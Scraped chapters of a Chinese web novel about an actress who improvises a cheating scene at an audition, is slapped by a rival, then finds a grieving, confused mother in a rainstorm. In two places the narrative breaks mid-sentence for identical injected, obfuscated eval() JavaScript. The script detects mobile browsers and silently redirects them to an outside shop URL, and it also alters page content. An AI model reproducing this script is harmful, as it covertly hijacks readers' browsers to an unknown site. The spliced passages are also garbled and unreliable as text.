“你先下去吧。”姚成目送着陈渺下台,眼睛又扫向了台下,然后指着楚幺幺说,“楚幺幺,你来示范一个。” 所有人的目光“唰”地一下,全都聚焦到了楚幺幺身上,镜头也立刻推了过去,给了一个大大的特写。 姚成的这句话,虽然字数不多,却带着极强的肯定。 一般,这种对话只会出发生在老师和优等生身上。 此时,陈渺刚刚走到她身边,小声说:“看来还是你有生活阅历。” 说完,她调皮地吐了吐舌头,在自己的位子上坐下了。 楚幺幺欲哭无泪,她从小到大也没被甩过好不好? 她站了起来,在众人的注视下走上了台。 姚导板着脸,神色依旧紧绷:“搭档还是陈星河,题目不变,‘出轨分手’,给你一分钟准备!Action!” 灯光重新聚焦,舞台中央被清场,只留下楚幺幺和陈星河。 楚幺幺走到舞台中央,只是安静地站着,微微低着头,肩膀以一种极其细微的弧度内扣着,仿佛在承受某种无形的重量,她甚至没有去看站在几步之外的陈星河。 演播厅里安静得能听到针落地的声音落,陈星河有些无措,犹豫着该怎么开场。 突然,楚幺幺抬起头,那双杏眼里弥漫开一种浓得化不开的疲惫和茫然,她看着陈星河,眼神却仿佛穿透了他,落在某个虚空之处。 “今天……”她的声音响起,声音干涩而低哑,每一个字都像是从喉咙深处艰难地挤出来,“……是几号了?” 她的视线没有焦点地在陈星河脸上扫过,像是在确认一件无关紧要的小事,又像是在努力拼凑破碎的记忆碎片。 陈星河愣了一下,下意识回答:“十……十七号。” “哦,十七号。”楚幺幺轻轻重复了一遍,嘴角极其微弱地向上扯了一下,那弧度与其说是笑,不如说是一种空洞的自嘲。 她的眼神终于聚焦到陈星河脸上,带着一种近乎残忍的平静,“上周……不,上上周三,你跟我说,要加班。加到很晚,不回来了。” 她的语速很慢,每个字都咬得很清晰,却像钝刀子割肉。 “嗯……”陈星河被她这种平静得可怕的叙述方式弄得有些发毛,硬着头皮应道。 楚幺幺点了点头,目光缓缓移开,落在自己绞在一起的手指上,“那天晚上,我煲了汤,你爱喝的那种。” 她的声音更轻了,像一阵随时会散去的风,“放在保温桶里,想着你要是回来晚了,还能喝口热的。” 她停顿了很长时间,录音棚里只剩下她压抑的呼吸声。 “后来,汤冷了。”她轻声说,嘴角那点自嘲的弧度加深了,带着一种洞悉一切后的悲凉,“倒掉的时候,我在想,你大概……是在别人那里,喝了更暖和的汤吧?” 她的声音没有一丝波澜,没有陈渺那种歇斯底里的质问,只有陈述事实的平静。然而,正是这份平静,却比任何嘶吼都更让人感受到那种深入骨髓的冰冷和绝望。 整个录影棚的空气仿佛都被她话语里那份死寂的绝望冻住了。 陈星河被她那洞穿一切的眼神看得头皮发麻,下意识地后退了半步,嘴唇翕动着,“幺幺,你听我解释……” “我都看到了,你抱着那个女人,还吻了她,我是什么?这三年我是什么!”楚幺幺的表情痛苦到了极点,她捂着胸口,眼里噙着泪,注视着陈星河发出质问,“你说的那些话,都是骗我的……” 这时,一个身影突然从台下冲上了舞台,紧接着,一个结结实实的巴掌打在楚幺幺的脸上。 “啪——” 一声极其清脆且响亮的耳光声,如同惊雷般在寂静的录影棚里炸开! 37. 被小三 楚幺幺的脸被这股巨大的力道狠狠扇得偏向一边,长发瞬间散乱下来,遮住了她大半张脸。 她整个人都僵在原地,维持着那个被打的姿势,一动不动。 整个录影棚陷入一片死寂,工作人员目瞪口呆,台下的陈渺惊得捂住了嘴,眼睛瞪得溜圆,可所有人都没敢动,因为姚导没有喊“咔”。 路雅宁的胸膛剧烈起伏着,脸上交织着扭曲的愤怒,她指着楚幺幺,声音因为激动而尖锐变形,响彻整个空间:“你这个不要脸的小三!勾引我老公!你以为躲在这里,就没人知道你的龌龊事了吗?” 恶毒的指控如同冰雹砸下,将楚幺幺原本“受害者”的形象,瞬间转变成了“施害者”,分手戏瞬间变成了“捉奸”戏。 聚光灯惨白的光束下,楚幺幺依旧没有动,散乱的黑发像一道屏障,遮住了她的表情。 一秒,两秒。 时间被无限拉长。 终于,在路雅宁那怨怼的目光注视下,楚幺幺极其缓慢地抬起了头,仿佛承受了巨大冲击,声音艰难而生涩,“你……你说什么?” 散乱的长发随着她的动作滑落,露出那张白皙的脸颊,清晰的五指印,赫然印在她的左脸上。 她抬起眼睫,镜头瞬间捕捉到她的眼睛,这双几秒钟前还盛满被背叛死寂的杏眸,此刻剧烈地波动起情绪,浓密的睫毛上,迅速凝结起一层细密的水汽,眼眶迅速泛红,泪水在里面疯狂地打着转,却倔强地悬在边缘,迟迟不肯落下。 原本的对手戏,被新闯入的对手接续,一边的陈星河似乎成了背景板。 “你跟我老公的聊天记录!那些恶心的照片!你还敢说没有?!楚幺幺,你装什么清纯可怜?!”路雅宁伸出手,似乎还想再推搡。 就在路雅宁的手指即将碰到楚幺幺肩膀的瞬间,楚幺幺像是受惊过度,猛地瑟缩了一下,身体微微佝偻,双手下意识地护在身前,做出一个极度防御的姿态。 她的眼泪终于突破了最后的防线,大颗大颗地滚落下来,砸在冰冷的地板上,“我不知道……” “你不知道?他每次和你‘约会’之后,无论多晚都要回家,你会不知道?”路雅宁的目光锐利如刀,仿佛要把楚幺幺剖开,“你这种人,就该死!” “不……”楚幺幺的喉头滚动,却只挤出一个破碎的气音,她看着路雅宁,泪水流得更凶了,像被一股巨大的悲愤彻底撕裂,“他骗我……他骗我……” 她的声音充满了信念崩塌后的绝望,“他说……他说他离婚了,他说你们早就没有感情了!他说……他只是要回家陪女儿睡觉。” “他说他会娶我的……”楚幺幺的声音充满绝望,泪水决堤般汹涌,身体因为激动而剧烈地颤抖着,仿佛下一秒就要支撑不住瘫软下去。 “他一遍遍地跟我说,你们在一起时他有多痛苦!说他有多后悔当初的选择!说他真正爱的人是我!”她的声音哽咽着,每一个字都像是从喉咙里咳出的血,“他说……你对他而言就是地狱!只有在我这里,他才能喘口气!” 楚幺幺猛地吸了一口气,像是溺水的人抓住最后一根稻草,喃喃着:“他说会娶我的……只要再给他一点时间……” 她像是耗尽了所有力气,身体猛地一软,踉跄着向后退了两步,脊背重重撞在冰冷的布景墙上,顺着墙壁,口中发出细细的呜咽声。 那细弱游丝的呜咽,比任何嚎啕大哭都更能穿透人心。 整个演播厅,陷入了一种诡异的沉默。 所有人的大脑都仿佛宕机了几秒,被这急转直下的剧情和楚幺幺极具冲击力的表演震得回不过神。 空气凝固了足足有十几秒。 “咔!”一声近乎破音的嘶吼,猛地从姚导喉咙里爆发出来,打破了这令人窒息的寂静。 姚导从椅子上站起来,椅子腿在地上刮出刺耳的噪音,“不错,‘被小三’这个切入点太绝了,能够在这么短的时间里想好自己的台词,还能随机应变,值得肯定。” 他猛地转身,目光投向还僵在舞台中央的路雅宁,显然有些兴奋,“还有雅宁,这个‘刺激’给得太到位了,把整个戏的冲突和层次瞬间推到了顶点。没有你这个‘原配’的狠劲儿,就逼不出楚幺幺后面的的爆发和反转,这次的临场配合,非常棒。” 姚导的不吝夸张,倒把路雅宁夸懵了,她本想让楚幺幺当众难堪,没想到却成了对方绝地反杀的垫脚石,甚至自己还因此“沾光”,被导演点名表扬? 这比直接打她的脸更让她难堪百倍。 路雅宁的脸色像煮熟的猪肝一样难看,面上带着尴尬的微笑,“姚导,过奖了。” 工作人员终于从震撼中回神,录影棚里开始讨论起刚刚的表演。 “刚才那一下我心脏差点跳出来!” “楚幺幺这反应……绝了!路雅宁冲出来的时候我都傻了!” “被小三……这转折太狠了!” “剧情疯了!不过演得是真牛逼!” …… “休息一会儿,半小时后我们再继续。”姚导下了指令。 “幺幺。”陈渺像一颗粉色的炮弹,猛地冲上舞台,完全无视了旁边散发着低气压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392628|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路雅宁,拉起楚幺幺就走。 “我的天,疼死了吧?快让我看看。”陈渺小心翼翼地去撩开楚幺幺遮着脸的头发,那半边脸颊上清晰浮起一个大红掌印,“肿了,都肿了!那个疯女人,下手也太狠了。” 她一边愤愤地低声骂着,从冰柜里翻出一个独立包装的冰袋,“快冰敷一下消肿。” 冰凉的触感贴上灼痛的脸颊,带来一阵尖锐的刺痛,随即是舒缓的麻木,楚幺幺被这凉意激得微微一颤,一直紧绷的身体似乎才找回了些许知觉。 她抬起一只手,轻轻按住了陈渺拿着冰袋的手,示意自己来。 她的目光,越过还在为她整理头发的陈渺,越过喧闹沸腾的人群,落在了十几米开外,那个脸色铁青的路雅宁身上。 路雅宁被助理和经纪人围着,正死死地盯着她,那双漂亮的眼睛里,此刻燃烧着毫不掩饰的怨毒和难以置信的愤怒,像两簇火焰,恨不得将楚幺幺烧成灰烬。 空气仿佛在视线交汇处凝结,碰撞,发出无声的爆裂声。 楚幺幺的嘴角,在那片刺目的红肿映衬下,极其缓慢地向上弯起。 冰袋的寒意丝丝缕缕渗入皮肤,压下了脸颊火辣辣的灼痛。 陈渺还在旁边絮絮叨叨着,笨拙又小心地试图擦掉楚幺幺脸上并不存在的灰尘。 过了一会儿,来了一名工作人员递上一罐膏药,“陈渺老师,这是陆影帝让我拿来的。” 陈渺向场地里望了望,并没有看到陆淮的身影,“好,帮我谢谢他。” 陈渺拧开膏药,一点一点涂在楚幺幺的脸上,嘴里不停嘟囔着“破相了怎么办”、“告她故意伤害”之类的话。 “还疼不疼?”陈渺关切地问,然后愤愤不平地压低声音又说,“路雅宁肯定是故意的,就是想让你在镜头前出丑,太恶毒了!” 楚幺幺的余光瞥见了不远处正对着自己的摄像机红灯,那小小的红点一闪一闪,像一只永不疲倦的眼睛,记录着一切。 多年来的舞台经验,让她一秒就能识别机位位置,她微微侧过脸,将红红的巴掌印正面对向摄像机,“没事的,不疼。” 她的声音带着表演后特有的沙哑,落进陈渺的耳中,也落进了那对准她的镜头里…… 这时,手机铃声突然响了,一个陌生的号码,没有来电显示。 “喂?” “楚小姐,我是璞玥公馆的张妈,”电话那头,张妈的声音被风雨声切割得断断续续,“太太……太太她不见了!就一转眼的功夫,雨下这么大……到处都找不到啊!她有没有去找您了?” 38. 我们回家了 楚幺幺向姚导紧急请了个假,估计是念在她刚刚表现不错的份上,姚导竟没有半分阻挠。 他看着她还泛着红肿的脸颊,露出了如父亲般慈爱的笑:“回去好好休息吧。” “谢谢姚导。”楚幺幺拿起椅背上的包,顶着棚内众人惊愕的目光,往外跑去。 “幺幺!你去哪儿?”陈渺的声音在身后焦急地响起。 楚幺幺头也不回,身影瞬间被门外灰暗的雨幕吞没。 狂风卷着冰冷的雨水,劈头盖脸地砸下来,瞬间浇透了她单薄的衣衫。 城市在倾盆大雨中模糊成一片混沌的水墨,霓虹灯牌在雨帘后扭曲变形。 楚幺幺冲到路边,不顾一切地拦下一辆出租车。 “小姐,您去哪儿?”司机按下计程器问。 能去哪儿? 这回轮到楚幺幺发愣了。 人海茫茫,无从找起。公馆附近,程家人肯定是找遍了。她已经两个多月没去看妈妈了,说不定真的是跑出来找她了。 可是……妈妈又不知道她在哪儿,能去哪儿呢? “小姐,小姐?” 楚幺幺抬起头,额上的雨水顺着脸颊滑到下巴,“师傅,去寰宇大厦。” “好嘞!”司机一脚油门,车子在积水的街道上劈开雨浪,朝着寰宇大厦的方向疾驰。 与此同时,裴宴林正站在寰宇顶层总裁办公室的巨大的落地窗前,窗外是翻腾的雨幕和被模糊的城市天际线,如同他此刻沉郁的心境。 林岩敲门进来,脸色凝重,“裴总,璞玥公馆刚刚来电话,说太太走丢了。” 裴宴林握着手机的手指瞬间收紧,骨节泛白,他甚至来不及穿上外套,大步流星地走出了办公室,“取消下午的会议,去程家。” 电梯一路向下,直达地下车库。 …… 楚幺幺的出租车在寰宇大厦辉煌气派的正门前急刹停下,她推开车门,顶着狂风暴雨冲进了大楼里,大理石的地面映出她狼狈不堪的身影。 她焦急的目光在大厅里快速逡巡,前台小姐、安保人员、行色匆匆的职员……没有那个熟悉的身影。 巨大的恐慌包围了她,让她几乎站立不稳。 明明有在好好吃药了,张妈说最近妈妈情绪稳定了好多,明明说过会乖乖等她去看她的。 楚幺幺全然顾不得旁人异样的眼光,开始在大厅里奔跑起来,沾着水渍的球鞋在地面发出摩擦声。她穿过空旷的休息区,绕过巨大的景观绿植,视线扫过每一个可能藏匿的角落。 没有,这儿也没有…… 终于,在通往内部办公区那条相对僻静的回廊尽头,她看到一个单薄的身影蜷缩在冰冷的墙角。 程母穿着单薄的居家服,头发被雨水打湿成一绺一绺,贴在苍白的脸颊上,怀里紧紧抱着一个有些旧了的洋桔梗花抱枕——那是程漾生前最喜欢的。 她像个迷路的孩子,眼神空洞地望着虚空,身体在无法抑制地微微发抖,嘴里无意识地碎碎念:“漾漾……漾漾在这里……” 楚幺幺的脚步猛地顿住,心脏疼得她几乎无法呼吸。 她一步步走过去,每一步都像踩在刀尖上。 这一路找来,焦急和惶恐在她的胃里集结,她真的好怕,怕妈妈出事,她已经不能再失去任何东西了。 难以想象,妈妈在得知她过世的那天,该是多么的心痛。 楚幺幺在程母面前缓缓蹲下,冰冷的雨水沿着发梢滚落,滴在程母早已湿透的衣袖上。 “妈妈……”楚幺幺的声音放得极轻极柔,她伸出手轻轻握住程母冰冷颤抖的手,小心翼翼地安抚,“我们回家了,好不好?” 程母茫然空洞的视线缓缓聚焦在她脸上,突然露出了欣喜的笑容:“漾漾,妈妈找到你了。” 即便神志不清,她也一直记得她的女儿在这里工作。 “妈,我们回家了。” 楚幺幺的鼻子猛地一酸,她强忍着汹涌的泪意,扶住程母的手臂,将她从冰冷的地面上搀扶起来。 “张妈做了你爱吃的糖醋小排,等着我们呢。”她柔声说着,一步步缓慢地朝着大厅门口走去。 程母轻喃:“好,吃……吃饭。” …… 楚幺幺带着程母回到程家,一眼就看到了院子里裴宴林的车。 下一秒,裴宴林就从侧门进来,看到楚幺幺时明显一怔,他的身后跟着几个人,看样子是在附近搜寻了很久。 裴宴林几步就跨到了她们身边,伸手稳稳地扶住了程母的另一侧胳膊,雨水瞬间打湿了他昂贵的西装肩头。 楚幺幺感受到他手臂传来的沉稳力量,抬眼看了他一眼,雨水顺着他的额发流下,滑过高挺的鼻梁和紧抿的薄唇,那张总是冷峻疏离的脸上,此刻清晰地刻着毫不掩饰的担忧和痛楚。 两人默契地没有说话,一左一右,小心地护着程母,穿过被雨水冲刷得湿漉漉的花园小径,走进了温暖明亮的客厅。 程父正焦躁地在客厅里踱步,看到妻子被安全找回,悬着的心终于落下,但脸上的忧色和疲惫却更深了。 他快步上前,从裴宴林和楚幺幺手中接过妻子,目光望着妻子却不忍责备:“回来就好……回来就好……张妈,快带太太去洗个热水澡,把姜汤熬上!” 张妈连忙上前,小心翼翼地搀扶着程母上楼去。 客厅里只剩下他们三人,气氛有些凝滞。 程父将手搭在裴宴林的肩上,重重拍了拍,“宴林,就算漾漾不在了,你也永远是我半个儿子。” 裴宴林喉结滚动了一下,声音低沉压抑:“伯父,这是我应该做的。” 程父疲惫地点点头,目光又落向楚幺幺身上。大雨将她脸上的药膏悉数冲去,露出还泛着红的脸颊,隐隐还能看到巴掌印。 “楚小姐,你这脸……” 楚幺幺下意识地抬手捂住脸,扯出一个有些勉强的笑容:“没事。今天试戏,剧情需要被打了一巴掌,小伤。”她轻描淡写,不想在这个混乱的夜晚再添事端。 “试戏?”程父的眉头皱得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392629|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深了,语气里带着长辈的近乎固执的不赞同,“当演员有什么好?好日子过多了,非要去挨巴掌?” 他语气生硬,带着上位者惯有的评判,就像以往每一次,他批评程漾时一样。 楚幺幺的心被这生硬的语气刺了一下,她抬起头,湿漉漉的头发还贴在额角,直视着程父:“程先生,有的人能活着,已经耗尽了所有的运气。哪来那么多的‘好日子’可以选择?” 程父被她反问噎了一下,才好似终于想起这是客人,“不好意思,楚小姐。” 他烦躁地挥了挥手,仿佛要挥开这令人窒息的氛围,转身对刚从楼上下来的张妈吩咐道:“张妈,雨太大了,路不好走。给楚小姐准备一间客房。” 他看向裴宴林,“宴林,你今晚也别回去了,在这里歇一晚。” 他顿了顿,没再看任何人,步履沉重地上楼去了,那背影在辉煌的水晶吊灯下,竟显出几分萧索的孤寂。 张妈看着楚幺幺苍白的脸和湿透的衣服,心疼地叹了口气,小声道:“楚小姐,先生他……他不是在说你。” 她犹豫了一下,声音压得更低,带着无尽的感伤,“他是想到漾漾了,说她放着好好的程家大小姐不当,非要一头扎进那演艺圈里去打拼……吃了不少苦头,最后……” 后面的话,张妈哽咽着,再也说不下去了。 楚幺幺垂下眼睫,遮住眼底翻涌的情绪,只低低地“嗯”了一声。 裴宴林的目光一直落在楚幺幺身上,从她湿透的衣衫到红肿的脸颊,再到此刻低垂的眼帘。 他薄唇紧抿,最终,什么也没说,只是对张妈微微颔首,便转身上楼,背影依旧挺拔,却透着一股沉重的疲惫。 夜已深沉,窗外的狂风却丝毫没有停歇的意思,反而愈演愈烈。 豆大的雨点密集地砸在玻璃窗上,发出急促而单调的噼啪声。 几道刺目的闪电撕裂墨黑的天幕,紧随其后的便是震耳欲聋的闷雷,一声接着一声…… 裴宴林从浴室出来,身上只随意裹着一件深色的睡袍,领口微敞,露出线条分明的锁骨和一小片紧实的胸膛,湿漉漉的黑发还在往下滴着水,水珠顺着脖颈滑入衣襟,带来一丝凉意。 他手里拿着一条宽大的白毛巾,心不在焉地擦拭着发梢,目光却沉沉地落在床头柜上。 那里,静静地躺着一张折叠起来的信纸。 这是他今天来时,在程母梳妆台前找到的,边上躺着一个白色信封,正是他上回他帮楚幺幺转交的那份。 他走到床边坐下,毛巾搭在肩上,伸手拿起了那张薄薄的纸,指尖触碰到纸张的瞬间,仿佛有一股细微的电流窜过。 信的内容很普通,字里行间带着小心翼翼的安慰和故作轻松的报平安,无非是说自己最近在“演戏”,很忙但很充实,让程母不要担心,好好照顾身体云云。 裴宴林的呼吸却一点一点地屏住了,捏着信纸的手指力道不由放重,他的目光死死地盯在那些字上。 这字迹……和阿漾的一模一样。